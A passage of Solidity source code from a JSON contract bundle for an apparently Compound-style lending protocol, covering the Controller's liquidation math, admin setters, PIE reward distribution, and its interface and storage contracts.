mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects);\r\n if (mErr != MathError.NO_ERROR) {\r\n return (Error.MATH_ERROR, 0, 0);\r\n }\r\n\r\n // Calculate effects of interacting with pTokenModify\r\n if (asset == pTokenModify) {\r\n // redeem effect\r\n // sumBorrowPlusEffects += tokensToDenom * redeemTokens\r\n (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects);\r\n if (mErr != MathError.NO_ERROR) {\r\n return (Error.MATH_ERROR, 0, 0);\r\n }\r\n\r\n // borrow effect\r\n // sumBorrowPlusEffects += oraclePrice * borrowAmount\r\n (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects);\r\n if (mErr != MathError.NO_ERROR) {\r\n return (Error.MATH_ERROR, 0, 0);\r\n }\r\n }\r\n }\r\n\r\n // These are safe, as the underflow condition is checked first\r\n if (vars.sumCollateral > vars.sumBorrowPlusEffects) {\r\n return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0);\r\n } else {\r\n return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral);\r\n }\r\n }\r\n\r\n /**\r\n * @notice Calculate number of tokens of collateral asset to seize given an underlying amount\r\n * @dev Used in liquidation (called in pToken.liquidateBorrowFresh)\r\n * @param pTokenBorrowed The address of the borrowed pToken\r\n * @param pTokenCollateral The address of the collateral pToken\r\n * @param actualRepayAmount The amount of pTokenBorrowed underlying to convert into pTokenCollateral tokens\r\n * @return (errorCode, number of pTokenCollateral tokens to be seized in a liquidation)\r\n */\r\n function liquidateCalculateSeizeTokens(\r\n address pTokenBorrowed,\r\n address pTokenCollateral,\r\n uint actualRepayAmount\r\n ) external view override returns (uint, uint) {\r\n /* Read oracle prices for borrowed and collateral markets */\r\n uint priceBorrowedMantissa = oracle.getUnderlyingPrice(pTokenBorrowed);\r\n uint priceCollateralMantissa = oracle.getUnderlyingPrice(pTokenCollateral);\r\n if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) {\r\n return (uint(Error.PRICE_ERROR), 0);\r\n }\r\n\r\n /*\r\n * Get the exchange rate and calculate the number of collateral tokens to seize:\r\n * seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral\r\n * seizeTokens = seizeAmount / exchangeRate\r\n * = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate)\r\n */\r\n uint exchangeRateMantissa = PTokenInterface(pTokenCollateral).exchangeRateStored(); // Note: reverts on error\r\n uint seizeTokens;\r\n Exp memory numerator;\r\n Exp memory denominator;\r\n Exp memory ratio;\r\n MathError mathErr;\r\n\r\n (mathErr, numerator) = mulExp(liquidationIncentiveMantissa, priceBorrowedMantissa);\r\n if (mathErr != MathError.NO_ERROR) {\r\n return (uint(Error.MATH_ERROR), 0);\r\n }\r\n\r\n (mathErr, denominator) = mulExp(priceCollateralMantissa, exchangeRateMantissa);\r\n if (mathErr != MathError.NO_ERROR) {\r\n return (uint(Error.MATH_ERROR), 0);\r\n }\r\n\r\n (mathErr, ratio) = divExp(numerator, denominator);\r\n if (mathErr != MathError.NO_ERROR) {\r\n return (uint(Error.MATH_ERROR), 0);\r\n }\r\n\r\n (mathErr, seizeTokens) = mulScalarTruncate(ratio, actualRepayAmount);\r\n if (mathErr != MathError.NO_ERROR) {\r\n return (uint(Error.MATH_ERROR), 0);\r\n }\r\n\r\n return (uint(Error.NO_ERROR), seizeTokens);\r\n }\r\n\r\n /*** Admin Functions ***/\r\n\r\n /**\r\n * @notice Sets a new price oracle for the controller\r\n * @dev Admin function to set a new price oracle\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */\r\n function _setPriceOracle(PriceOracle newOracle) public returns (uint) {\r\n // Check caller is admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK);\r\n }\r\n\r\n // Track the old oracle for the controller\r\n PriceOracle oldOracle = oracle;\r\n\r\n // Set controller's oracle to newOracle\r\n oracle = newOracle;\r\n\r\n // Emit NewPriceOracle(oldOracle, newOracle)\r\n emit NewPriceOracle(oldOracle, newOracle);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Sets a PIE address for the controller\r\n * @return uint 0=success\r\n */\r\n function _setPieAddress(address pieAddress_) public returns (uint) {\r\n require(msg.sender == admin && pieAddress == address(0),\"pie address may only be initialized once\");\r\n\r\n pieAddress = pieAddress_;\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Sets the closeFactor used when liquidating borrows\r\n * @dev Admin function to set closeFactor\r\n * @param newCloseFactorMantissa New close factor, scaled by 1e18\r\n * @return uint 0=success, otherwise a failure. (See ErrorReporter for details)\r\n */\r\n function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint) {\r\n // Check caller is admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK);\r\n }\r\n\r\n Exp memory newCloseFactorExp = Exp({mantissa: newCloseFactorMantissa});\r\n Exp memory lowLimit = Exp({mantissa: closeFactorMinMantissa});\r\n if (lessThanOrEqualExp(newCloseFactorExp, lowLimit)) {\r\n return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION);\r\n }\r\n\r\n Exp memory highLimit = Exp({mantissa: closeFactorMaxMantissa});\r\n if (lessThanExp(highLimit, newCloseFactorExp)) {\r\n return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION);\r\n }\r\n\r\n uint oldCloseFactorMantissa = closeFactorMantissa;\r\n closeFactorMantissa = newCloseFactorMantissa;\r\n emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Sets the collateralFactor for a market\r\n * @dev Admin function to set per-market collateralFactor\r\n * @param pToken The market to set the factor on\r\n * @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18\r\n * @return uint 0=success, otherwise a failure. (See ErrorReporter for details)\r\n */\r\n function _setCollateralFactor(address pToken, uint newCollateralFactorMantissa) external returns (uint) {\r\n // Check caller is admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK);\r\n }\r\n\r\n // Verify market is listed\r\n Market storage market = markets[pToken];\r\n if (!market.isListed) {\r\n return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS);\r\n }\r\n\r\n Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa});\r\n\r\n // Check collateral factor <= 0.9\r\n Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa});\r\n if (lessThanExp(highLimit, newCollateralFactorExp)) {\r\n return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION);\r\n }\r\n\r\n oracle.updateUnderlyingPrice(pToken);\r\n // If collateral factor != 0, fail if price == 0\r\n if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(pToken) == 0) {\r\n return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE);\r\n }\r\n\r\n // Set market's collateral factor to new collateral factor, remember old value\r\n uint oldCollateralFactorMantissa = market.collateralFactorMantissa;\r\n market.collateralFactorMantissa = newCollateralFactorMantissa;\r\n\r\n // Emit event with asset, old collateral factor, and new collateral factor\r\n emit NewCollateralFactor(pToken, oldCollateralFactorMantissa, newCollateralFactorMantissa);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Sets maxAssets which controls how many markets can be entered\r\n * @dev Admin function to set maxAssets\r\n * @param newMaxAssets New max assets\r\n * @return uint 0=success, otherwise a failure. (See ErrorReporter for details)\r\n */\r\n function _setMaxAssets(uint newMaxAssets) external returns (uint) {\r\n // Check caller is admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_MAX_ASSETS_OWNER_CHECK);\r\n }\r\n\r\n uint oldMaxAssets = maxAssets;\r\n maxAssets = newMaxAssets;\r\n emit NewMaxAssets(oldMaxAssets, newMaxAssets);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Sets liquidationIncentive\r\n * @dev Admin function to set liquidationIncentive\r\n * @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18\r\n * @return uint 0=success, otherwise a failure. (See ErrorReporter for details)\r\n */\r\n function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) {\r\n // Check caller is admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK);\r\n }\r\n\r\n // Check de-scaled min <= newLiquidationIncentive <= max\r\n Exp memory newLiquidationIncentive = Exp({mantissa: newLiquidationIncentiveMantissa});\r\n Exp memory minLiquidationIncentive = Exp({mantissa: liquidationIncentiveMinMantissa});\r\n if (lessThanExp(newLiquidationIncentive, minLiquidationIncentive)) {\r\n return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION);\r\n }\r\n\r\n Exp memory maxLiquidationIncentive = Exp({mantissa: liquidationIncentiveMaxMantissa});\r\n if (lessThanExp(maxLiquidationIncentive, newLiquidationIncentive)) {\r\n return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION);\r\n }\r\n\r\n // Save current value for use in log\r\n uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa;\r\n\r\n // Set liquidation incentive to new incentive\r\n liquidationIncentiveMantissa = newLiquidationIncentiveMantissa;\r\n\r\n // Emit event with old incentive, new incentive\r\n emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Add the market to the markets mapping and set it as listed\r\n * @dev Admin function to set isListed and add support for the market\r\n * @param pToken The address of the market (token) to list\r\n * @return uint 0=success, otherwise a failure. (See enum Error for details)\r\n */\r\n function _supportMarket(address pToken) external returns (uint) {\r\n if (msg.sender != admin && msg.sender != factory) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK);\r\n }\r\n\r\n if (markets[pToken].isListed) {\r\n return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS);\r\n }\r\n\r\n PTokenInterface(pToken).isPToken(); // Sanity check to make sure its really a PToken\r\n\r\n _addMarketInternal(pToken);\r\n\r\n Market storage newMarket = markets[pToken];\r\n newMarket.isListed = true;\r\n\r\n emit MarketListed(pToken);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function _addMarketInternal(address pToken) internal {\r\n require(markets[pToken].isListed == false, \"market already added\");\r\n allMarkets.push(pToken);\r\n }\r\n\r\n /**\r\n * @notice Admin function to change the Pause Guardian\r\n * @param newPauseGuardian The address of the new Pause Guardian\r\n * @return uint 0=success, otherwise a failure. (See enum Error for details)\r\n */\r\n function _setPauseGuardian(address newPauseGuardian) public returns (uint) {\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK);\r\n }\r\n\r\n // Save current value for inclusion in log\r\n address oldPauseGuardian = pauseGuardian;\r\n\r\n // Store pauseGuardian with value newPauseGuardian\r\n pauseGuardian = newPauseGuardian;\r\n\r\n // Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian)\r\n emit NewPauseGuardian(oldPauseGuardian, pauseGuardian);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function _setMintPaused(address pToken, bool state) public returns (bool) {\r\n require(markets[pToken].isListed, \"cannot pause a market that is not listed\");\r\n require(msg.sender == pauseGuardian || msg.sender == admin, \"only pause guardian and admin can pause\");\r\n require(msg.sender == admin || state == true, \"only admin can unpause\");\r\n\r\n mintGuardianPaused[pToken] = state;\r\n emit ActionPaused(pToken, \"Mint\", state);\r\n return state;\r\n }\r\n\r\n function _setBorrowPaused(address pToken, bool state) public returns (bool) {\r\n require(markets[pToken].isListed, \"cannot pause a market that is not listed\");\r\n require(msg.sender == pauseGuardian || msg.sender == admin, \"only pause guardian and admin can pause\");\r\n require(msg.sender == admin || state == true, \"only admin can unpause\");\r\n\r\n borrowGuardianPaused[pToken] = state;\r\n emit ActionPaused(pToken, \"Borrow\", state);\r\n return state;\r\n }\r\n\r\n function _setTransferPaused(bool state) public returns (bool) {\r\n require(msg.sender == pauseGuardian || msg.sender == admin, \"only pause guardian and admin can pause\");\r\n require(msg.sender == admin || state == true, \"only admin can unpause\");\r\n\r\n transferGuardianPaused = state;\r\n emit ActionPaused(\"Transfer\", state);\r\n return state;\r\n }\r\n\r\n function _setSeizePaused(bool state) public returns (bool) {\r\n require(msg.sender == pauseGuardian || msg.sender == admin, \"only pause guardian and admin can pause\");\r\n require(msg.sender == admin || state == true, \"only admin can unpause\");\r\n\r\n seizeGuardianPaused = state;\r\n emit ActionPaused(\"Seize\", state);\r\n return state;\r\n }\r\n\r\n function _setFactoryContract(address _factory) external returns (uint) {\r\n if (msg.sender != admin) {\r\n return uint(Error.UNAUTHORIZED);\r\n }\r\n\r\n factory = _factory;\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function _become(address payable unitroller) public {\r\n require(msg.sender == Unitroller(unitroller).admin(), \"only unitroller admin can change brains\");\r\n require(Unitroller(unitroller)._acceptImplementation() == 0, \"change not authorized\");\r\n }\r\n\r\n /*** Pie Distribution ***/\r\n\r\n function refreshPieSpeeds() public {\r\n require(msg.sender == tx.origin, \"only externally owned accounts may refresh speeds\");\r\n refreshPieSpeedsInternal();\r\n }\r\n\r\n /**\r\n * @notice Recalculate and update PIE speeds for all PIE markets\r\n */\r\n function refreshPieSpeedsInternal() internal {\r\n address[] memory allMarkets_ = allMarkets;\r\n\r\n for (uint i = 0; i < allMarkets_.length; i++) {\r\n address pToken = allMarkets_[i];\r\n Exp memory borrowIndex = Exp({mantissa: PTokenInterface(pToken).borrowIndex()});\r\n updatePieSupplyIndex(pToken);\r\n updatePieBorrowIndex(pToken, borrowIndex);\r\n }\r\n\r\n Exp memory totalUtility = Exp({mantissa: 0});\r\n Exp[] memory utilities = new Exp[](allMarkets_.length);\r\n for (uint i = 0; i < allMarkets_.length; i++) {\r\n address pToken = allMarkets_[i];\r\n if (markets[pToken].isPied) {\r\n oracle.updateUnderlyingPrice(pToken);\r\n Exp memory assetPrice = Exp({mantissa: oracle.getUnderlyingPrice(pToken)});\r\n Exp memory interestPerBlock = mul_(Exp({mantissa: PTokenInterface(pToken).borrowRatePerBlock()}), PTokenInterface(pToken).totalBorrows());\r\n Exp memory utility = mul_(interestPerBlock, assetPrice);\r\n utilities[i] = utility;\r\n totalUtility = add_(totalUtility, utility);\r\n }\r\n }\r\n\r\n for (uint i = 0; i < allMarkets_.length; i++) {\r\n address pToken = allMarkets[i];\r\n uint newSpeed = totalUtility.mantissa > 0 ? mul_(pieRate, div_(utilities[i], totalUtility)) : 0;\r\n pieSpeeds[pToken] = newSpeed;\r\n emit PieSpeedUpdated(pToken, newSpeed);\r\n }\r\n }\r\n\r\n /**\r\n * @notice Accrue PIE to the market by updating the supply index\r\n * @param pToken The market whose supply index to update\r\n */\r\n function updatePieSupplyIndex(address pToken) internal {\r\n PieMarketState storage supplyState = pieSupplyState[pToken];\r\n uint supplySpeed = pieSpeeds[pToken];\r\n uint blockNumber = getBlockNumber();\r\n uint deltaBlocks = sub_(blockNumber, uint(supplyState.block));\r\n if (deltaBlocks > 0 && supplySpeed > 0) {\r\n uint supplyTokens = PTokenInterface(pToken).totalSupply();\r\n uint pieAccrued = mul_(deltaBlocks, supplySpeed);\r\n Double memory ratio = supplyTokens > 0 ? fraction(pieAccrued, supplyTokens) : Double({mantissa: 0});\r\n Double memory index = add_(Double({mantissa: supplyState.index}), ratio);\r\n pieSupplyState[pToken] = PieMarketState({\r\n index: safe224(index.mantissa, \"new index exceeds 224 bits\"),\r\n block: safe32(blockNumber, \"block number exceeds 32 bits\")\r\n });\r\n }\r\n }\r\n\r\n /**\r\n * @notice Accrue PIE to the market by updating the borrow index\r\n * @param pToken The market whose borrow index to update\r\n */\r\n function updatePieBorrowIndex(address pToken, Exp memory marketBorrowIndex) internal {\r\n PieMarketState storage borrowState = pieBorrowState[pToken];\r\n uint borrowSpeed = pieSpeeds[pToken];\r\n uint blockNumber = getBlockNumber();\r\n uint deltaBlocks = sub_(blockNumber, uint(borrowState.block));\r\n if (deltaBlocks > 0 && borrowSpeed > 0) {\r\n uint borrowAmount = div_(PTokenInterface(pToken).totalBorrows(), marketBorrowIndex);\r\n uint pieAccrued = mul_(deltaBlocks, borrowSpeed);\r\n Double memory ratio = borrowAmount > 0 ? fraction(pieAccrued, borrowAmount) : Double({mantissa: 0});\r\n Double memory index = add_(Double({mantissa: borrowState.index}), ratio);\r\n pieBorrowState[pToken] = PieMarketState({\r\n index: safe224(index.mantissa, \"new index exceeds 224 bits\"),\r\n block: safe32(blockNumber, \"block number exceeds 32 bits\")\r\n });\r\n }\r\n }\r\n\r\n /**\r\n * @notice Calculate PIE accrued by a supplier and possibly transfer it to them\r\n * @param pToken The market in which the supplier is interacting\r\n * @param supplier The address of the supplier to distribute PIE to\r\n */\r\n function distributeSupplierPie(address pToken, address supplier, bool distributeAll) internal {\r\n PieMarketState storage supplyState = pieSupplyState[pToken];\r\n Double memory supplyIndex = Double({mantissa: supplyState.index});\r\n Double memory supplierIndex = Double({mantissa: pieSupplierIndex[pToken][supplier]});\r\n pieSupplierIndex[pToken][supplier] = supplyIndex.mantissa;\r\n\r\n if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) {\r\n supplierIndex.mantissa = pieInitialIndex;\r\n }\r\n\r\n Double memory deltaIndex = sub_(supplyIndex, supplierIndex);\r\n uint supplierTokens = PTokenInterface(pToken).balanceOf(supplier);\r\n uint supplierDelta = mul_(supplierTokens, deltaIndex);\r\n uint supplierAccrued = add_(pieAccrued[supplier], supplierDelta);\r\n pieAccrued[supplier] = transferPie(supplier, supplierAccrued, distributeAll ? 0 : pieClaimThreshold);\r\n emit DistributedSupplierPie(pToken, supplier, supplierDelta, supplyIndex.mantissa);\r\n }\r\n\r\n /**\r\n * @notice Calculate PIE accrued by a borrower and possibly transfer it to them\r\n * @dev Borrowers will not begin to accrue until after the first interaction with the protocol.\r\n * @param pToken The market in which the borrower is interacting\r\n * @param borrower The address of the borrower to distribute PIE to\r\n */\r\n function distributeBorrowerPie(\r\n address pToken,\r\n address borrower,\r\n Exp memory marketBorrowIndex,\r\n bool distributeAll\r\n ) internal {\r\n PieMarketState storage borrowState = pieBorrowState[pToken];\r\n Double memory borrowIndex = Double({mantissa: borrowState.index});\r\n Double memory borrowerIndex = Double({mantissa: pieBorrowerIndex[pToken][borrower]});\r\n pieBorrowerIndex[pToken][borrower] = borrowIndex.mantissa;\r\n\r\n if (borrowerIndex.mantissa > 0) {\r\n Double memory deltaIndex = sub_(borrowIndex, borrowerIndex);\r\n uint borrowerAmount = div_(PTokenInterface(pToken).borrowBalanceStored(borrower), marketBorrowIndex);\r\n uint borrowerDelta = mul_(borrowerAmount, deltaIndex);\r\n uint borrowerAccrued = add_(pieAccrued[borrower], borrowerDelta);\r\n pieAccrued[borrower] = transferPie(borrower, borrowerAccrued, distributeAll ? 0 : pieClaimThreshold);\r\n emit DistributedBorrowerPie(pToken, borrower, borrowerDelta, borrowIndex.mantissa);\r\n }\r\n }\r\n\r\n /**\r\n * @notice Transfer PIE to the user, if they are above the threshold\r\n * @dev Note: If there is not enough PIE, we do not perform the transfer all.\r\n * @param user The address of the user to transfer PIE to\r\n * @param userAccrued The amount of PIE to (possibly) transfer\r\n * @return The amount of PIE which was NOT transferred to the user\r\n */\r\n function transferPie(address user, uint userAccrued, uint threshold) internal returns (uint) {\r\n if (userAccrued >= threshold && userAccrued > 0) {\r\n address pie = getPieAddress();\r\n uint pieRemaining = EIP20Interface(pie).balanceOf(address(this));\r\n if (userAccrued <= pieRemaining) {\r\n EIP20Interface(pie).transfer(user, userAccrued);\r\n return 0;\r\n }\r\n }\r\n return userAccrued;\r\n }\r\n\r\n /**\r\n * @notice Claim all the pie accrued by holder in all markets\r\n * @param holder The address to claim PIE for\r\n */\r\n function claimPie(address holder) public {\r\n claimPie(holder, allMarkets);\r\n }\r\n\r\n /**\r\n * @notice Claim all the pie accrued by holder in the specified markets\r\n * @param holder The address to claim PIE for\r\n * @param pTokens The list of markets to claim PIE in\r\n */\r\n function claimPie(address holder, address[] memory pTokens) public {\r\n address[] memory holders = new address[](1);\r\n holders[0] = holder;\r\n claimPie(holders, pTokens, true, true);\r\n }\r\n\r\n /**\r\n * @notice Claim all pie accrued by the holders\r\n * @param holders The addresses to claim PIE for\r\n * @param pTokens The list of markets to claim PIE in\r\n * @param borrowers Whether or not to claim PIE earned by borrowing\r\n * @param suppliers Whether or not to claim PIE earned by supplying\r\n */\r\n function claimPie(address[] memory holders, address[] memory pTokens, bool borrowers, bool suppliers) public {\r\n for (uint i = 0; i < pTokens.length; i++) {\r\n address pToken = pTokens[i];\r\n require(markets[pToken].isListed, \"market must be listed\");\r\n if (borrowers == true) {\r\n Exp memory borrowIndex = Exp({mantissa: PTokenInterface(pToken).borrowIndex()});\r\n updatePieBorrowIndex(pToken, borrowIndex);\r\n for (uint j = 0; j < holders.length; j++) {\r\n distributeBorrowerPie(pToken, holders[j], borrowIndex, true);\r\n }\r\n }\r\n if (suppliers == true) {\r\n updatePieSupplyIndex(pToken);\r\n for (uint j = 0; j < holders.length; j++) {\r\n distributeSupplierPie(pToken, holders[j], true);\r\n }\r\n }\r\n }\r\n }\r\n\r\n /*** Pie Distribution Admin ***/\r\n\r\n /**\r\n * @notice Set the amount of PIE distributed per block\r\n * @param pieRate_ The amount of PIE wei per block to distribute\r\n */\r\n function _setPieRate(uint pieRate_) public {\r\n require(msg.sender == admin, \"only admin can change pie rate\");\r\n\r\n uint oldRate = pieRate;\r\n pieRate = pieRate_;\r\n emit NewPieRate(oldRate, pieRate_);\r\n\r\n refreshPieSpeedsInternal();\r\n }\r\n\r\n function _addPieMarkets(address[] memory pTokens) public {\r\n require(msg.sender == admin, \"only admin can add pie market\");\r\n\r\n for (uint i = 0; i < pTokens.length; i++) {\r\n _addPieMarketInternal(pTokens[i]);\r\n }\r\n\r\n refreshPieSpeedsInternal();\r\n }\r\n\r\n function _addPieMarketInternal(address pToken) internal {\r\n Market storage market = markets[pToken];\r\n require(market.isListed == true, \"pie market is not listed\");\r\n require(market.isPied == false, \"pie market already added\");\r\n\r\n market.isPied = true;\r\n emit MarketPied(pToken, true);\r\n\r\n if (pieSupplyState[pToken].index == 0) {\r\n pieSupplyState[pToken] = PieMarketState({\r\n index: pieInitialIndex,\r\n block: safe32(getBlockNumber(), \"block number exceeds 32 bits\")\r\n });\r\n } else {\r\n pieSupplyState[pToken].block = safe32(getBlockNumber(), \"block number exceeds 32 bits\");\r\n }\r\n\r\n if (pieBorrowState[pToken].index == 0) {\r\n pieBorrowState[pToken] = PieMarketState({\r\n index: pieInitialIndex,\r\n block: safe32(getBlockNumber(), \"block number exceeds 32 bits\")\r\n });\r\n } else {\r\n pieBorrowState[pToken].block = safe32(getBlockNumber(), \"block number exceeds 32 bits\");\r\n }\r\n }\r\n\r\n /**\r\n * @notice Remove a market from pieMarkets, preventing it from earning PIE in the flywheel\r\n * @param pToken The address of the market to drop\r\n */\r\n function _dropPieMarket(address pToken) public {\r\n require(msg.sender == admin, \"only admin can drop pie market\");\r\n\r\n Market storage market = markets[pToken];\r\n require(market.isPied == true, \"market is not a pie market\");\r\n\r\n market.isPied = false;\r\n emit MarketPied(pToken, false);\r\n\r\n refreshPieSpeedsInternal();\r\n }\r\n\r\n /**\r\n * @notice Return all of the markets\r\n * @dev The automatic getter may be used to access an individual market.\r\n * @return The list of market addresses\r\n */\r\n function getAllMarkets() public view returns (address[] memory) {\r\n return allMarkets;\r\n }\r\n\r\n function getBlockNumber() public view virtual returns (uint) {\r\n return block.number;\r\n }\r\n\r\n /**\r\n * @notice Return the address of the PIE token\r\n * @return The address of PIE\r\n */\r\n function getPieAddress() public view virtual returns (address) {\r\n return pieAddress;\r\n }\r\n\r\n function getOracle() public view override returns (PriceOracle) {\r\n return oracle;\r\n }\r\n}",
"keccak256": "0xa7e73a33d06ef1cc3cf80ea6ed0ab0577f7fb2177e106c3731acf8de8616ee43"
},
"contracts/ControllerInterface.sol": {
"content": "pragma solidity ^0.7.4;\r\n\r\nimport \"./PriceOracle.sol\";\r\n\r\nabstract contract ControllerInterface {\r\n /// @notice Indicator that this is a Controller contract (for inspection)\r\n bool public constant isController = true;\r\n\r\n /*** Assets You Are In ***/\r\n\r\n function enterMarkets(address[] calldata pTokens) external virtual returns (uint[] memory);\r\n function exitMarket(address pToken) external virtual returns (uint);\r\n\r\n /*** Policy Hooks ***/\r\n\r\n function mintAllowed(address pToken, address minter, uint mintAmount) external virtual returns (uint);\r\n function redeemAllowed(address pToken, address redeemer, uint redeemTokens) external virtual returns (uint);\r\n function redeemVerify(address pToken, address redeemer, uint redeemAmount, uint redeemTokens) external virtual;\r\n function borrowAllowed(address pToken, address borrower, uint borrowAmount) external virtual returns (uint);\r\n\r\n function repayBorrowAllowed(\r\n address pToken,\r\n address payer,\r\n address borrower,\r\n uint repayAmount) external virtual returns (uint);\r\n\r\n function liquidateBorrowAllowed(\r\n address pTokenBorrowed,\r\n address pTokenCollateral,\r\n address liquidator,\r\n address borrower,\r\n uint repayAmount) external virtual returns (uint);\r\n\r\n function seizeAllowed(\r\n address pTokenCollateral,\r\n address pTokenBorrowed,\r\n address liquidator,\r\n address borrower,\r\n uint seizeTokens) external virtual returns (uint);\r\n\r\n function transferAllowed(address pToken, address src, address dst, uint transferTokens) external virtual returns (uint);\r\n\r\n /*** Liquidity/Liquidation Calculations ***/\r\n\r\n function liquidateCalculateSeizeTokens(\r\n address pTokenBorrowed,\r\n address pTokenCollateral,\r\n uint repayAmount) external view virtual returns (uint, uint);\r\n\r\n function getOracle() external view virtual returns (PriceOracle);\r\n}\r\n",
"keccak256": "0x09cc90ca2f75b3e16a22d3660d4bc3ad4a06d54e14964ebde913d0d4cde68c20"
},
"contracts/ControllerStorage.sol": {
"content": "pragma solidity ^0.7.4;\r\n\r\nimport \"./PriceOracle.sol\";\r\n\r\ncontract UnitrollerAdminStorage {\r\n /**\r\n * @notice Administrator for this contract\r\n */\r\n address public admin;\r\n\r\n /**\r\n * @notice Pending administrator for this contract\r\n */\r\n address public pendingAdmin;\r\n\r\n /**\r\n * @notice Active brains of Unitroller\r\n */\r\n address public controllerImplementation;\r\n\r\n /**\r\n * @notice Pending brains of Unitroller\r\n */\r\n address public pendingControllerImplementation;\r\n}\r\n\r\ncontract ControllerStorage is UnitrollerAdminStorage {\r\n /**\r\n * @notice Oracle which gives the price of any given asset\r\n */\r\n PriceOracle public oracle;\r\n\r\n /**\r\n * @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow\r\n */\r\n uint public closeFactorMantissa;\r\n\r\n /**\r\n * @notice Multiplier representing the discount on collateral that a liquidator receives\r\n */\r\n uint public liquidationIncentiveMantissa;\r\n\r\n /**\r\n * @notice Max number of assets a single account can participate in (borrow or use as collateral)\r\n */\r\n uint public maxAssets;\r\n\r\n /**\r\n * @notice Per-account mapping of \"assets you are in\", capped by maxAssets\r\n */\r\n mapping(address => address[]) public accountAssets;\r\n\r\n /// @notice isListed Whether or not this market is listed\r\n /**\r\n * @notice collateralFactorMantissa Multiplier representing the most one can borrow against their collateral in this market.\r\n * For instance, 0.9 to allow borrowing 90% of collateral value.\r\n * Must be between 0 and 1, and stored as a mantissa.\r\n */\r\n /// @notice accountMembership Per-market mapping of \"accounts in this asset\"\r\n /// @notice isPied Whether or not this market receives PIE\r\n struct Market {\r\n bool isListed;\r\n uint collateralFactorMantissa;\r\n mapping(address => bool) accountMembership;\r\n bool isPied;\r\n }\r\n\r\n /**\r\n * @notice Official mapping of pTokens -> Market metadata\r\n * @dev Used e.g. to determine if a market is supported\r\n */\r\n mapping(address => Market) public markets;\r\n\r\n /**\r\n * @notice The Pause Guardian can pause certain actions as a safety mechanism.\r\n * Actions which allow users to remove their own assets cannot be paused.\r\n * Liquidation / seizing / transfer can only be paused globally, not by market.\r\n */\r\n address public pauseGuardian;\r\n bool public _mintGuardianPaused;\r\n bool public _borrowGuardianPaused;\r\n bool public transferGuardianPaused;\r\n bool public seizeGuardianPaused;\r\n mapping(address => bool) public mintGuardianPaused;\r\n mapping(address => bool) public borrowGuardianPaused;\r\n\r\n /// @notice index The market's last updated pieBorrowIndex or pieSupplyIndex\r\n /// @notice block The block number the index was last updated at\r\n struct PieMarketState {\r\n uint224 index;\r\n uint32 block;\r\n }\r\n\r\n /// @notice A list of all markets\r\n address[] public allMarkets;\r\n\r\n /// @notice The rate at which the flywheel distributes PIE, per block\r\n uint public pieRate;\r\n\r\n /// @notice Address of the PIE token\r\n address public pieAddress;\r\n\r\n // @notice Address of the factory\r\n address public 